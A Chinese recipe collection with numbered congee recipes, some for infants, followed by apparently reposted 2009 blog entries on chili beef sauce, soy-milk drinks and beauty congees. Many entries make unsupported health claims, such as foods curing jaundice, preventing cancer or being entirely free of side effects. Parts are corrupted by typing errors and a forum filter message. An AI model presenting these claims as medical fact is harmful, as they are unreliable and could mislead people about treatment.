　　辅料：冰糖适量。
　　做法：
　　1．黑米洗净，浸泡6小时；红豆洗净，浸泡1小时；莲子洗净；花生洗净、沥干备用。
　　2．锅置火上，将黑米、红豆、莲子放入锅中，加水1000克，大火煮沸后换小火煮1小时；加入花生，继续煮30分钟。
　　3．加入桂花、冰糖，拌匀，煮3分钟即可。
　　301.燕麦南瓜粥
　　
　　原料：燕麦30克，大米50克，小南瓜1个。
　　辅料：葱花、盐适量。
　　做法：1．南瓜洗净，削皮，切成小块；大米洗净，用清水浸泡半小时。
　　2．锅置火上，将大米放入锅中，加水500克，大火煮沸后换小火煮20分钟；然后放入南瓜块，小火煮10分钟；再加入燕麦，继续用小火煮10分钟。
　　3．熄火后，加入盐、葱花等调料。
　　302.猪蹄花生粥
　　
　　原料：猪蹄1个，大米100克，花生仁30克。
　　辅料：葱花、盐、味精各适量。
　　做法：
　　1．猪蹄洗净，剁成小块，放入开水锅中焯烫，去血水，然后再放入开水中煮至汤汁浓稠。
　　2．大米淘净，加水煮开，放入猪蹄、花生仁，煮至烂稠，加入盐、味精、葱花即可。
　　特色：
　　猪蹄是多用途的良药。猪蹄中含有丰富的胶原蛋白，胶原蛋白是构成肌腱、韧带及结缔组织的最主要的蛋白质成分。在人体内，胶原蛋白约占蛋白质的1/3。若胶原蛋白合成发生了异常，就会引起“胶原性疾病”。它还可促进毛发、指甲生长，保持皮肤柔软、细腻，使指甲有光泽。骨骼生成时，首先必须合成充足的胶原蛋白纤维组成骨骼的框架，所以胶原蛋白又是“骨骼中的骨骼”。
　　此外，猪蹄还有补血，健腰腿的功效，很适合血虚者、老年体弱者食用。
　　303.胡萝卜牛肉黄米粥
　　
　　原料：黄米100克，牛肉50克，胡萝卜50克，洋葱50克。
　　辅料：盐8克，姜10克。
　　做法：
　　1．黄米洗净、浸泡2小时；胡萝卜洗净，切成碎丁；牛肉洗净切碎；洋葱洗净切碎；姜洗净切碎。
　　2．锅置火上，将黄米、胡萝卜、洋葱放入锅中，加水1000克，大火煮沸后换小火煮至黄米开花。
　　3．加入牛肉末、姜末煮熟，最后调入盐即可。
　　304.山药枸杞粥
　　
　　原料：白米1杯 ,山药300克 ,枸杞2大匙 ,水8杯
　　做法：
　　1.白米洗净沥干，山药去皮洗净切小块。
　　2.锅中加水8杯煮开，放入白米、山药、枸杞续煮至滚时稍搅拌，改中小火熬煮30分钟即成。
　　枸杞补血明目，可增加白血球数量，使抵抗力增强、预防疾病；山药可促进食欲、有效消除疲劳，增强体力及免疫力。体弱、容易疲劳的女士多食用此道粥品，可助常保好气色、病痛不侵。
　　特色：增强免疫力，补血明目！
　　305.糯米山药粥
　　
　　原料：圆粒糯米1杯、红枣10粒、山药300克、枸杞子2大匙
　　辅料：白砂糖1/2杯
　　做法：
　　1.糯米洗净，加水6杯,烧开，改小火煮粥，红枣泡软，放入同煮。
　　2.山药去皮、切丁，待粥已形成时放入同煮至熟，并加糖调味。
　　3.最后加入洗净的枸杞子，一煮溶即关火盛出。
　　圆糯米的黏性较强，适合做甜食；长糯米比较筋道，用在咸口味的烹调较恰当。
　　枸杞子不要煮太久，也不要泡水，以免入锅后过烂而裂开。
　　也可以加少许红糖调味，且更滋补，但色泽较深，比较不好看。
　　306.草菇鱼片粥
　　
　　材料：稠粥1碗、鳕鱼200克、草菇50克、青豆适量、葱、姜末适量
　　调味料A：高汤1杯
　　B：精盐、味精各1/2小勺、香油1/4小勺
　　做法:
　　1.将鳕鱼整理干净，切长方形薄片,草菇青豆焯水烫透捞出沥干水。
　　2.锅中倒入调味料A煮沸，下入姜末，草菇略煮一下，加入稠粥煮开，再加入鳕鱼片煮熟，最后加入调味料B调节器匀，下青豆，撒葱末即可
　　307.状元及第粥
　
　　原料：猪肉、猪肝、粉肠、猪腰、猪肚各50克，大米适量，油条1根。
　　辅料：姜片、葱丝、葱花、香菜、盐各少许。
　　做法：
　　1．猪肉、猪肝、粉肠、猪腰、猪肚洗净备用，油条切段，猪肉、猪肝、猪腰切丁备用，大米淘洗干净。
　　2．取一深锅加入可盖过粉肠及猪肚的水量煮至滚，放入猪肚、粉肠及姜片、葱丝煮约1小时至软后捞起沥干，粉肠切段、猪肚切细条状备用。
　　3．大米加水烧开后，改用小火慢煲。放入盐及其余材料（油条除外）煮开后，食前加入油条段、香菜、葱花即可。
　　特色：猪肉具有补中益气、生津液、润肠胃、丰肌体、泽皮肤等作用。可以供阴虚不足、头晕、贫血、营养不良者及妇女产后乳汁缺乏者食用。猪肉还能为人体提供优质蛋白质和必需的脂肪酸；提供血红素（有机铁）和促进铁吸收的半胱氨酸，改善缺铁性贫血。
　　308.皮蛋瘦肉米粥
　
　　原料：大米2杯，皮蛋２个，瘦肉150克，葱花、香菜各少许，盐１茶匙，酱油、淀粉各少许
　　做法：
　　1．大米洗净，加水８杯煮成粥，皮蛋去壳、切片，瘦肉切碎粒并拌入少许酱油和淀粉，待粥煮沸时加入皮蛋和瘦肉煮匀。
　　2．加盐调味，并撒入葱花和香菜，即可盛出食用。
　　309.海米菠菜粥
　
　　原料：海米15克、粳米（白米）100克、菠菜1棵
　　辅料：盐适量
　　做法：1.粳米洗净，海米泡水，菠菜洗净汆烫后切段。
　　2.锅内加适量水煮沸，放入粳米、海米一起熬煮成粥，待粥熟后再放菠菜，最后入调味料即可。
　　海米，补肾壮阳。菠菜，滋阴养血、润燥滑肠、养肝明目。本品做法简单，可经常服食。若无海米，可用虾仁代替。
　　特色：适用：更年期之此内容被视为粗言或秽语，请遵守论坛规则不要使用类似词语，如有疑问请发帖到站务中心咨询早泄、性欲减退、视力减退、腰膝酸软、大便秘结
　　310.希腊雪花粥
　
　　原料：白米1杯 ,鸡肉片1/2杯 ,蛋清3个 ,淀粉1小匙,柠檬汁3大匙 ,鸡汤8杯
　　做法：
　　1.鸡汤煮沸，放入洗净白米续煮至滚时稍微搅拌，改中小火熬煮30分钟。
　　2.鸡肉片加水4大匙抓拌，加入淀粉拌匀，放入作法1的材料中煮1分钟。
　　3.蛋清打至发泡倒入滚烫的粥中，迅速搅匀食用时滴入柠檬汁拌匀即成，酸酸的别有一番风味。
　　柠檬含有维生素C和多种矿物质，除了可增强免疫力、消除紧张疲劳，最受瞩目的便是美白、防斑、防癌、抗老化作用；蛋清含有丰富的人体必需氨基酸，却没有蛋黄高量的胆固醇。两者食用对人体有美颜作用，拿来敷脸还能净化美白、紧实肌肤，是内外兼治的美丽良方。
　　特色：美颜瘦身双效的梦幻粥品。
　　311.山药萝卜粥
　　
　　原料：白米1杯,山药300克,白萝卜1/2个,芹菜末少许,水10杯
　　辅料：盐、胡椒粉、香菜……各适量
　　做法：
　　1.白米洗净沥干、山药和白萝卜均去皮洗净切小块。
　　2.锅中加水10杯煮开，放入白米、山药、白萝卜稍微搅拌，至再次滚沸时，改中小火熬煮30分钟。
　　3.加盐拌匀，食用前撒上胡椒粉、芹菜末及香菜即成。
　　山药近年被视为滋阴补阳圣品，对于女性丰胸、肌肤防皱有效果。萝卜则有排水利尿、帮助消化、避免脂肪堆积等功效，两者搭配食用，对于女性美容养颜、瘦身消肿均有奇效。
　　特色：恢复体力，调节气血，帮助减脂瘦身。
　　312.紫米粥
　　
　　原料：黑糯米２杯、糖1杯
　　做法：
　　1．黑糯米洗净，加水15杯浸泡2小时，再移至火上煮开，改小火熬煮至熟烂。
　　2．加糖调味后即可食用。
　　313.小米粥
　
　　原料：小米1杯、碎玉米1/3杯
　　做法：
　　1．小米洗净，加入碎玉米拌匀，一同加水７杯浸泡半小时。
　　2．移至火上烧开，改小火，煮至米粒软烂黏稠时，即可关火，放凉食用。
　　314.清粥
　
　　原料：大米1杯
　　做法：1．大米洗净，加水５杯浸泡20分钟后，移至炉上煮开。
　　2．改小火熬煮至米粒黏稠即可关火盛出。
　　315.鸡丝玉米粥
　　
　　原料：鸡胸肉半块、大米1杯、玉米罐头1罐、芹菜2根、盐少许、淀粉少许
　　做法：
　　1．大米洗净，加水5杯煮成粥。
　　2．鸡胸肉切丝，拌入少许淀粉和盐，再加入粥内同煮。
　　3．加入玉米粒一同煮匀，并加少许盐调味后，关火，撒入切碎的芹菜末即成。
　　316.黑芝麻糙米粥
　　
　　原料：糙米1杯 ,黑芝麻2大匙 ,水14杯
　　辅料：白砂糖适量
　　做法：
　　1.糙米洗净沥干。
　　2.锅中加水14杯煮开，放入糙米搅拌一下，待煮滚后改中小火熬煮45分钟，放入黑芝麻续煮5分钟，加白砂糖煮溶即成。
　　特色：帮助排除宿便，轻盈体态又不失营养。
　　317.鲜鱼粥
　　　
　　原料：胡萝卜10克石斑鱼肉15克米20克
　　做法：
　　1.石斑鱼肉蒸熟后以大匙压成肉末。
　　2.胡萝卜切成丝，再剁成碎末。
　　3.水和米以10:1比例入锅，煮熟至黏稠，最后加入鱼肉末、胡萝卜末，再稍微煮一下即可。
　　7-9个月婴儿适用
　　除了石斑鱼之外，包括鲷鱼、鲈鱼、鲔鱼、旗鱼等去掉鱼刺的鱼肉均可选择。
　　但需注意的是靠近鱼腹及鱼皮部分的鱼肉油脂较多，建议不用。
　　318.山药粥
　　
　　原料:山药30克胡萝卜20克米30克菠菜泥少许水2杯
　　做法：
　　1.山药、胡萝卜削皮，切小块(约1厘米见方)。
　　2.米加2杯水煮滚，加入山药及胡萝卜一起煮开，转小火再煮约15分钟，再加入菠菜泥即成。
　　10～12个月婴儿适用
　　319.奶鸡肉粥
　
　　原料：鲜奶1杯(240毫升)高汤1/2杯(120毫升)鸡胸肉20克绿菜花20克胡萝卜10克饭1/2碗
　　辅料：盐2克
　　做法：
　　1.鸡胸肉洗净，切小丁，绿菜花及胡萝卜也切成小丁。
　　2.鲜奶、高汤与饭用小火熬煮成粥，再将鸡胸肉、绿菜花及胡萝卜放入煮3分钟，下盐调味即可。
　　该菜谱可作为1－3岁儿童早餐。
　　★鸡肉可用白肉的鱼类、土豆等替代。
　　★牛奶是孩子成长过程中非常重要的营养来源之一，试着将牛奶入菜是一个矫正婴幼儿厌奶的好方法，但要切记烹调过程中勿以大火加热，也不要煮太久，以免造成营养素的流失。
　　320.烟肉白菜粥
　　
　　材料：稠粥1碗；芹菜50克；烟肉100克；葱花少许；白菜200克
　　调味料：A：植物油2大匙；绍酒1大匙B：高汤1杯；精盐1/3小匙；味精1/2小匙；胡椒粉少许
　　做法：
　　1.平锅上火烧热，下入烟肉及调味料A，煎至金红色，层次分明，熟透，出锅改刀备用。
　　2.白菜洗净，切段，焯水捞出沥干水分，芹菜择洗干净，切末。
　　3.锅内倒入稠粥，上火烧滚加入烟肉，白菜芹菜末及调味料B搅匀即可出锅，撒上葱花.
　　321.油条蔬菜粥
　　
　　材料:稠粥1碗、油条1根、小西红柿菜花胡萝卜海带结各适量、姜末少许
　　调味料:高汤2杯、精盐味精各1/3小勺
　　做法:
　　1.油条切段，小西红柿切两瓣，菜茶切朵，胡萝卜切条与海带结一起焯水烫透。
　　2.锅中放入高汤，下入姜末煮沸，再下稠粥，油条，小西红柿子菜花胡萝卜海带结及调味料搅拌均匀见粥煮滚即可
　　322.仿真燕窝粥
　　
　　材料：稀粥1碗；银耳25克；杏仁露1厅；枸杞适量调味料：冰糖1大匙
　　做法：
　　1.银耳用冷水泡发择洗干净，切成碎燕窝状，枸杞用温水泡至回软，沥干水分。
　　2.不锈钢锅内倒入杏仁露，加入稀粥，旺火烧沸转小火，加入银耳，枸杞及调味料，煮15分钟
　　323.苋菜小鱼粥
　　　
　　材料：稠粥1碗；小银鱼100克；苋菜25克调味料：
　　精盐1/3小匙；胡椒粉1/3小匙；绍酒1/3小匙
　　做法：
　　1、苋菜洗净，焯水捞出后立即放入冷水泡凉，再捞出沥尽水分切小段；小银鱼泡水，洗净备用。
　　2、稠粥煮沸，放入苋菜及小银鱼煮熟，加入调味料，调拌均匀即可。
　　324.萝卜火腿粥
　　
　　材料:白萝卜1/4小条；稠粥1碗；金华火腿75克调味料：
　　高汤3杯，胡椒粉1/4小匙；鸡粉1/2小匙
　　做法：
　　1、白萝卜洗净去皮切成长方形厚片，中间再横切成夹刀片；火腿切薄片夹在萝卜中间。
　　2、锅内放入高汤和胡椒粉，放萝卜火腿煮20分钟，加入稠粥再加鸡粉即可
　　325.人参雪蛤粥
　　
　　材料：大米1杯；鲜人参1根；清水10杯；雪蛤25克
　　调味料：冰糖50克
　　做法：
　　1.人参洗净，切薄片；雪蛤用温水泡发回软。
　　2.大米投洗净浸泡30分钟，捞出沥干水分，下入锅中加入清水上旺火烧沸，转小火煮30分钟，再下人参片及调味料，搅匀煮25分钟，下雪蛤稍煮片刻，见粥粘稠即可。
　　326.木耳银芽海米粥
　　
　　材料：稀粥1碗；鸡蛋1个；木耳适量，银芽适量；海米适量；菠菜适量；姜末少许。
　　调味料：高汤1/2杯；味精1/4小勺；精盐1/4小勺
　　做法:
　　1.鸡蛋摊成皮切丝；木耳用冷水泡发；银芽菠菜分别洗净，海米洗净涨发回软备用。
　　2.锅中下入调味料和姜末，上火烧开，再下入稀粥、蛋丝；木耳，银芽，海米，菠菜等材料，煮沸离火即可
　　327.口蘑香菇粥
　　
　　材料：稠粥1碗；口蘑50克；鸡肉馅50克，香菇适量；葱花少许
　　调味料A：植物油1/2小勺，绍酒1/2小勺；酱油1/2小勺B：精盐1/4小勺；鸡粉1小勺；高汤1杯
　　做法：
　　1.口蘑切片，香菇泡发回软，洗净去蒂，切抹刀片；鸡肉馅加入调味料A炒熟备用。
　　2.锅内倒入稠粥，上火烧开，加入口蘑，香菇及调味料B，煮约15分钟再加入炒好的肉馅搅动拌均匀，撒上葱花出锅
　　328.白果冬瓜粥
　　
　　材料：稀粥1碗、冬瓜150克、白果仁25克、姜末适量
　　调味料：精盐1/3小勺、胡椒粉少许、高汤1杯
　　做法：
　　1.白果洗净，浸泡回软，焯水烫透，捞出沥干水分，冬瓜去皮切厚片备用。
　　2.锅中加入高汤、姜末上火煮沸再下入稀粥白果及调节器味料，用旺火烧开，下入冬瓜片搅匀，煮5分钟即可。大师叮咛：白果成人一次最多七颗，儿童低于5颗
　　329.椒酱肉粒粥
　　
　　材料：稀粥1碗、猪肉粒50克、萝卜干50克、豆豉适量、青椒适量、红辣椒适量、葱花少许
　　调味料A：植物油2大勺、绍酒1大勺、酱油1大勺、白糖1/2小勺
　　B：精盐1/小勺、味精1/4小勺、胡椒粉1/2小勺
　　做法：
　　1.萝卜干洗净用温水浸泡回软，切丁；青椒，红辣椒洗净去子切小丁备用。
　　2.炒锅上火烧热加少许底油下入猪肉粒，萝卜干炒至变色，加入调节器味料A，再下入豆鼓继续炒出香味，最后下入青椒，红辣椒丁，翻拌均匀即出锅。
　　3.锅内倒入稀粥，烧滚再下入炒好的椒酱肉粒及调节器味料B，搅动拌均匀，撒上葱花出锅。
　　330.鸡丝莼菜粥
　　
　　材料：稠粥1碗、鸡丝75克、莼菜（瓶装）适量、三文治火腿适量、葱花适量
　　调味料A：精盐少许、绍酒少许、水淀粉少许
　　B：鸡汤1杯、精盐1/3小勺
　　做法
　　1.鸡毕加入调味料Ａ拌匀腌五分钟，下入开水中焯烫透捞出沥净土水分，三文治火腿切丝备用。
　　2.锅中倒入稠粥上火烧滚，加入鸡丝，莼菜，火腿丝及调味料Ｂ，搅拌均匀见粥粘稠撒上葱花出锅
　　331.鲮鱼黄豆粥
　　
　　材料：大米１杯、黄豆５0克、清水12杯、鲮鱼(罐装)100克、豌豆粒适量、葱姜末适量
　　调味料:精盐味精各1/3小勺、胡椒粉少许
　　做法
　　1.大米洗净泡30分钟，黄豆浸泡12小时捞出用沸水焯烫除去豆腥味，豌豆焯水烫透即可。
　　2.锅驼机中放入大米、黄豆、清水，上旺火煮沸，转小火慢煮1小时，待粥粘稠时下入鲮鱼豌豆粒及调味料搅拌均匀，撒上葱花姜即可。
　　332.桂圆姜汁粥
　　
　　材料:大米1/2杯、清水龙头杯、桂圆100克、黑豆适量、鲜姜25克
　　调味料:蜂蜜1大勺
　　做法:
　　1.桂圆，黑豆泡水洗净，鲜姜去皮磨成姜汁备用。
　　2.大米浸30分钟，捞出沥干水分放入锅中，加清水旺火煮沸，转小火，加入桂圆黑豆及调味料搅匀煮至软烂即可
　　333.蜜饯胡萝卜粥
　　
　　材料:稠粥1碗、蜜饯50克、胡萝卜2根、清水1/2杯
　　调味料:冰糖2大勺
　　做法:
　　1.胡萝卜洗净加清水用果汁机打碎制成蓉备用。
　　2.锅中放入稠粥，加胡萝卜蓉汁烧沸，再加入蜜饯及调味料转小火慢煮20分钟即可
　　334.蟹肉豆腐粥
　　
　　材料:白米饭1碗、高汤4杯、蟹足棒1根、豆腐1块、姜末少许
　　调味料:精盐1/2小勺、鲜鸡粉1小勺
　　做法:
　　1.蟹足棒(蟹柳)切段，豆腐切块。
　　2.锅中加入高汤，烧沸，下姜末煮片刻，再下白米饭，豆腐及调味料煮20分钟下入蟹柳煮5分钟搅拌均匀即可。
　　335.豌豆素鸡粥
　　
　　材料:大米2/3杯、素鸡100克、大麦米1/3杯、清水12杯、豌豆50克、猪肉馅25克、葱姜各少许
　　调味料A:植物油、绍酒、酱油各少许
　　B:精盐1/3小勺、鸡粉1小勺
　　做法:
　　1.大米浸泡30分钟大麦米浸泡8小时，素鸡切丁，猪肉馅加葱姜末及调味料A炒熟。
　　2.锅中加入大米、大麦米清水烧沸，转小火煮45分钟，下入素鸡丁和炒好的猪肉馅继续煮10分钟，加入调味料搅拌均匀见粥粘稠即可
　　336.香葱鸡粒粥
　　
　　材料:大米1杯清水13杯鸡脯肉100克冬菇香葱适量
　　调料A:精盐味精淀粉少许
　　B:精盐1/4小勺子鸡粉1小勺胡椒粉香油少许
　　做法:
　　1.鸡肉切粒加调料A腌15分钟，冬菇泡软，切小相香葱切末。
　　2.大米泡30分钟捞出放入锅中，加清水烧沸转小火煮40分钟，再下入鸡粒，冬菇及调料B搅拌均匀煮10分钟撒上香葱即可。
　　337.冰糖五色粥
　　
　　材料:稠粥1碗、胡萝卜丁25克、青豆25克、嫩玉米粒50克、香菇丁25克
　　调料:冰糖100克
　　做法:
　　1.玉米粒香菇丁胡萝卜青豆分别焯水烫透。
　　2.锅中倒入稠粥，烧开加入材料及调料搅匀即可
　　338.天下第一粥
　　
　　材料:大米1杯、清水10杯、牡蛎50克、猪肉馅25克、鲜是皮适量、橄榄菜适量、香葱末少许
　　调味料:植物油1大勺、绍酒足饭饱1/2小勺、酱油1/2小勺、精盐味精各1/4小勺、胡椒粉少许
　　做法:
　　1.大米浸泡30分钟捞入放入锅中，加入清水煮沸转小火盖2/3锅盖慢煮约45分钟。
　　2.牡蛎洗净沥干水，猪肉馅加调味料炒变色和牡蛎一起放入粥中，再下鲜虾皮橄榄菜搅拌均匀煮10分钟转中火，撒入香葱末即可
　　339.玉米瘦肉粥
　　
　　材料:玉米楂子1杯、清水8杯、猪瘦肉100克鸡蛋1个
　　调味料A淀粉1/2小勺、绍酒味精少许
　　B精盐1/3小勺、鸡粉1小勺
　　做法:
　　1.玉米楂子泡6小时，下入锅中加清水烧沸转小火盖2/3锅盖慢煮1小时。
　　2.猪肉切片，加入调料A腌15分钟鸡蛋打入碗中搅匀备用。
　　3.将腌好的肉片下入粥内，煮5分钟，再淋入蛋液加入调料B，即可
　　340.雪梨青瓜粥
　　
　　材料:糯米稀粥1碗、雪梨1个、青瓜1条、山楂糕1块
　　调味料:冰糖1大勺
　　做法:
　　1.雪梨去皮核切块，于瓜切条，山楂糕切。
　　2.锅中放入稀粥烧开下入雪梨青瓜山楂糕及调节器料拌匀用口火烧沸即可
　　341.家常鸡粥
　　
　　材料:稠粥一碗、熟卤鸡腿一只、葱花姜末少许
　　调料:高汤1杯、精盐味精各1/3小勺、胡椒粉少许

北方的狼

[转]阿香婆牛肉酱的做法

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:28:28 GMT

用料：
1、红辣椒5斤（鲜辣椒搅碎的，干辣椒面不行辣不辣取决于辣椒）
2、牛肉馅1斤半（也可放牛肉碎块）
3、大蒜半斤
4、花生2两
5、豆油1斤
6、盐3两
7、白酒3两
8、白糖半斤
9、醋2两
10、芝麻2两
11、味精3两
12、六必居干黄酱2袋（只有六必居的味道才正宗）

做法：
豆油加热后炒肉馅、不冒气时放大蒜、白酒、干黄酱、花生、芝麻、白糖、盐、红辣椒炒，搅20——30分钟后加醋，再搅炒5分钟，最后加味素。

[转]女人必学 12种养颜豆浆的做法

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:26:47 GMT

　　

　　一、黄豆浆

　　用料：黄豆85克，水1.3升容量可随意增减、风味营养豆浆最佳配搭比例，糖适量

　　归经：入脾、胃

　　功效：补虚、清热化痰、通淋、利大便、降血压、增乳汁

　　建议：加3~~5粒杏仁于用料中，则所熬豆浆更鲜、更浓

　　

　　二、芝麻黑豆浆

　　用料：黑芝麻、花生各10克，黑豆80克，水1.3升

　　制作：将花生与黑豆按一定时间浸泡后，再与黑芝麻一起放入豆浆滤网

　　归经：入脾、肺、大肠

　　功效：乌发养发，润肤美颜，补肺盒气，滋补肝肾、润肠通便、养血增乳

　　

　　　三、芝麻蜂蜜豆浆

　　用料：豆浆70克，黑芝麻20克，蜂蜜40克，水1.3升

　　制作：将黑芝麻与浸泡过的黄豆入入豆浆机滤网，开动豆浆机自动完成

　　归经：入脾、肺

　　功效：养颜润肤、乌发养发

　　

　　四、核桃杏仁露

　　用料：核桃40克、杏仁420克、清水适量

　　制法：

　　1、将杏仁与核桃装入豆浆机网罩内，杯体内按规定加入清水

　　2、启动豆浆机，十几分钟后豆浆煮熟

　　功效：养颜、抗衰老

　　

　　五、密法黑芝麻糊

　　用料：蜂蜜1勺、黑芝麻20克、黄豆60克、清水适量

　　制法：

　　1、将黄豆浸泡6-16小时，备用

　　2、将泡好的黄豆与黑芝麻一起装入豆浆机网罩内，杯体内按规定加入清水，启动豆浆机，十几分钟后豆浆煮熟，稍凉后加入蜂蜜即可

　　功效：养颜美容、益智健脑

　　

　　六、枸杞豆浆

　　用料：黄豆60克、枸杞10克、清水1200毫升

　　制法：1、将黄豆浸泡6—16小时，备用

　　2、将泡好的黄豆和枸杞装入LB豆浆机网罩内，杯体内加入清水，启动豆浆机，十几分钟豆浆煮熟即成。

　　功效：滋补肝肾、益精明目、增强免疫能力

　　

　　　七、红枣莲子浆

　　用料：红枣(去核)15克、莲子肉15克、黄豆50克、白糖50克、清水适量。

　　制法：

　　1、将黄豆浸泡6—16小时

　　2、将莲子肉泡至发软

　　3、将红枣洗净与莲子肉、黄豆一并装入LB豆浆机网罩内，杯体内加入清水，启动豆浆机，十几分钟豆浆煮熟。

　　4、趁热往杯体内加入白糖，搅匀即成；不愿喝甜的也可以不加糖。

　　功效：滋阴益气、养血安神、补脾胃、清热解毒。

　　

　　八、花生豆浆

　　用料：花生30克、黄豆40克、水1200毫升

　　制法：

　　1、将黄豆、花生浸泡6—16小时，备用

　　2、将泡好的黄豆和花生装入豆浆机网罩内，将清水装入杯体，启动豆浆机，十几分钟后即成。

　　功效：补血益气、滋阴润肺、适用于体虚瘦弱、大病初愈及健康人养生保健。

　　

　　九、黑豆芝麻浆

　　用料：黑豆50克、花生15克、黑芝麻5-10克、水适量

　　制法：

　　1、将黄豆、花生浸泡6—16小时

　　2、将泡好的黑豆、花生和黑芝麻一起装入LB豆浆机网罩内，杯体内加入清水，启动豆浆机，十几分钟后豆浆煮熟。

　　功效：乌发养颜、解表清热、滋养健体。

　　

　　十、百合莲子浆

　　用料：百合10克、莲子肉10克、银耳10克、绿豆40克、冰糖50克、清水适量。

　　制法：

　　1、将百合用开水泡至发软，将莲子肉用开水浸泡至发软

　　2、将银耳洗净，用温水浸泡至发软，摘成小朵

　　3、将绿豆浸泡6-16小时

　　4、将绿豆、百合、莲子、银耳一并装入LB豆浆机网罩内，杯体内加入冰糖和适量清水，启动机器，十几分钟后浆煮熟即成。

　　功效：清火滋阴，养心安神、补脑抗衰。

　　

　　　十一、绿豆浆

　　用料：绿豆80克、白糖50克、清水适量。

　　制法：

　　1、将绿豆洗净，浸泡6—16小时。

　　2、将泡好的绿豆放入LB豆浆机网罩中，杯体中加入清水，启动机器，十几分钟后豆浆煮熟。

　　3、趁热往杯体内加入白糖，不愿喝甜的也可不加糖。

　　功效：清热解暑、利水消肿、润喉止渴、明目降压。

　　注：进行温补者不宜饮用，以免失去温补功效；脾胃虚寒者不宜过多饮用，以防腹泻。网罩中的豆渣加白糖调成豆沙，十分可口。

　　

　　　十二、核桃杏仁露

　　用料：杏仁40克、核桃40克、冰糖少许，清水适量。

　　制法：

　　1、将杏仁、核桃装入LB豆浆机网罩中，杯体内按规定加入清水。

　　2、启动机器，十几分钟后豆浆煮熟，加适量冰糖即可。

　　功效：养颜益智。

[转]为自己熬碗补血养颜抗衰老的美味粥

291632847@qq.com(白鹭) — Mon, 30 Nov 2009 12:25:18 GMT

　　

　　为自己熬碗补血养颜抗衰老的美味粥

　　红枣玫瑰黑米粥

　　【原料】

　　黑米，白米，红糖，红枣十颗，干玫瑰花苞十几朵

　　【做法】

　　图1. 将黑米白米按1:1的比例，洗净，加水浸泡一夜，方便熬煮.

　　图2. 将米倒入电饭锅中，加开水熬煮，一定要一次把水加足。

　　图3. 等待粥煮开时，将红枣洗净去核，切成丁，

　　玫瑰花苞去蒂，将花瓣分开，备用。

　　图4. 粥煮开后，将红枣加入一同熬煮，

　　至米粒涨开，煮至粘稠时，将红糖放入，溶化，

　　起锅前将玫瑰花瓣撒入，搅拌均匀即可。

　　记住了，“煮粥没诀窍，上下三十六搅”，粥煮开后，

　　一定要不时搅拌，以利于受热均匀，并使粥不粘锅。

　　

　　红枣：

　　小小一颗枣，功效特别好。中医认为，红枣味甘性温，有健脾益胃，补气养血，安神，缓和药性的功能；现代的药理学同时还发现，红枣能提高体内单核-吞噬细胞系统的吞噬功能，有保护肝脏，增强体力的作用。

　　红枣含有丰富的维生素A、B、C等人体必须的多种维生素和18种氨基酸、矿物质，其中维生素C（抗坏血酸）的含量竟高达葡萄、苹果的70-80倍，因此有“一日食仨枣，红颜永不老”一说啊。

　　玫瑰：

　　这里说的是食用的干玫瑰花苞，含丰富的维生素A、B、C、K，以及单宁酸，能改善内分泌失绸，消除疲劳,帮助伤口愈合。玫瑰花苞有行气活血的功效，经前乳房胀痛，消化不良或月经不调，可用玫瑰花泡茶饮用。

　　红糖：

　　红糖是我国传统的温补食材，含有丰富的葡萄糖，多种维他命和微量元素，具有益气补血、健脾暖胃、缓中止痛、活血化淤的作用。

　　红糖中的天然成分“糖蜜”，具有强力的解毒功效，能将过量的黑色素从真皮层中导出，并通过淋巴组织排出体外。因此，红糖不失为女性最好的美容养颜佳品。

　　黑米：

　　黑米具有滋阴补肾，健脾暖肝、补益脾胃，益气活血，养肝明目等疗效。经常食用黑米，有利于防治头昏、目眩、贫血、白发、眼疾，脾胃虚弱等症。　　

　　

　　

　　吃完烧烤后一定要喝的粥！

　　猕猴桃枸杞甜粥

　　【原料】

　　猕猴桃2个，白米100g，枸杞30颗左右

　　【配料】

　　白糖或冰糖

　　【做法】

　　图1.2. 白米洗净，泡一会，这样比较易煮；

　　猕猴桃去皮切片；枸杞冲洗干净，备用；

　　图3.4. 白米入锅，加水煮，煮至米一颗颗都涨开，

　　变浓稠时，下枸杞，猕猴桃片，再煮3分钟左右，

　　加适量白糖或冰糖调味即可。

　　

　　吃完美味的烧烤后，别忘了来一颗甜甜的猕猴桃哦！！

　　这猕猴桃的好处还不止是防癌哦，且看俺从网上搜来的：

　　1. 猕猴桃性味甘，酸而寒，有解热、止渴、通淋、健胃的功效。可以治疗烦热、消渴、黄疸、呕吐、腹泻、石淋、关节痛等疾病，而且还有抗衰老的作用。

　　2. 猕猴桃含有维生素C、E、K等，属营养和膳食纤维丰富的低脂肪食品，对减肥健美、美容有独特的功效。猕猴桃含有丰富的叶酸，叶酸是构筑健康体魄的必需物质之一，能预防胚胎发育的神经管畸型。

　　3. 猕猴桃中含有的血清促进素具有稳定情绪、镇静心情的作用，另外它所含的天然肌醇，有助于脑部活动，因此能帮助忧郁之人走出情绪低谷——看来，它还是一种能让人快乐起来的水果耶。

　　

　　

　　一款绝对安全无毒副作用的减脂瘦身粥

　　红豆冬瓜粥

　　【原料】

　　红豆（又称赤小豆），冬瓜，大米

　　【做法】

　　图1. 红豆和大米按1:1的比例洗净，泡发一夜；

　　图2. 冬瓜去皮，切片，不要太薄；

　　图3. 加足够的水，烧开后，熬煮红豆和大米，至红豆开裂，加入冬瓜片同煮；

　　图4. 熬至冬瓜呈透明状即可，加盐或加糖均可。

　　

　　【啰嗦一句】

　　熬粥所用的红豆又称赤小豆，是可食用的，

　　有外形相似的被称为“相思子”的红豆则有毒不可食用。

　　红豆不仅能利水消肿，抗菌排毒，常食用可瘦身，其富含的铁质能使女性脸色红润，香港曾流行红豆减肥法，就是因为它安全无任何毒副作用。

　　冬瓜可促进人体内新陈代谢，有效阻止脂肪堆积。

　　这款粥最宜夏季瘦身，排除体内湿气，清降胃火，调节食欲，改善夏季易发病症的过敏肤质。

　　

　　

　　冬天的一碗养胃粥

　　小米南瓜粥

　　【原料】

　　小米100g，南瓜300g

　　【做法】

　　图1. 南瓜去皮切块，小米洗净后用清水浸泡20分钟；

　　图2. 准备半瓶开水，倒入电饭锅中，下小米煮30分钟；煮小米时，用搅拌机将南瓜打成泥（省略也行，我是想追求“南瓜溶于无形”的感觉）；

　　图3. 图4. 30分钟后，加入南瓜同煮，继续煮15分钟左右即可，中间要时时搅一搅，避免粘锅。

　　

　　【贴心建议】

　　煮粥溢锅很头疼吧？——咱三管齐下：

　　1. 丢一把汤勺到锅里，据说能改变粥“扑腾”的方向，从而达到不溢出的目的；

　　2. 在粥面上滴几滴麻油，据说改变了分子的啥啥活性吧，也不会噗出来；

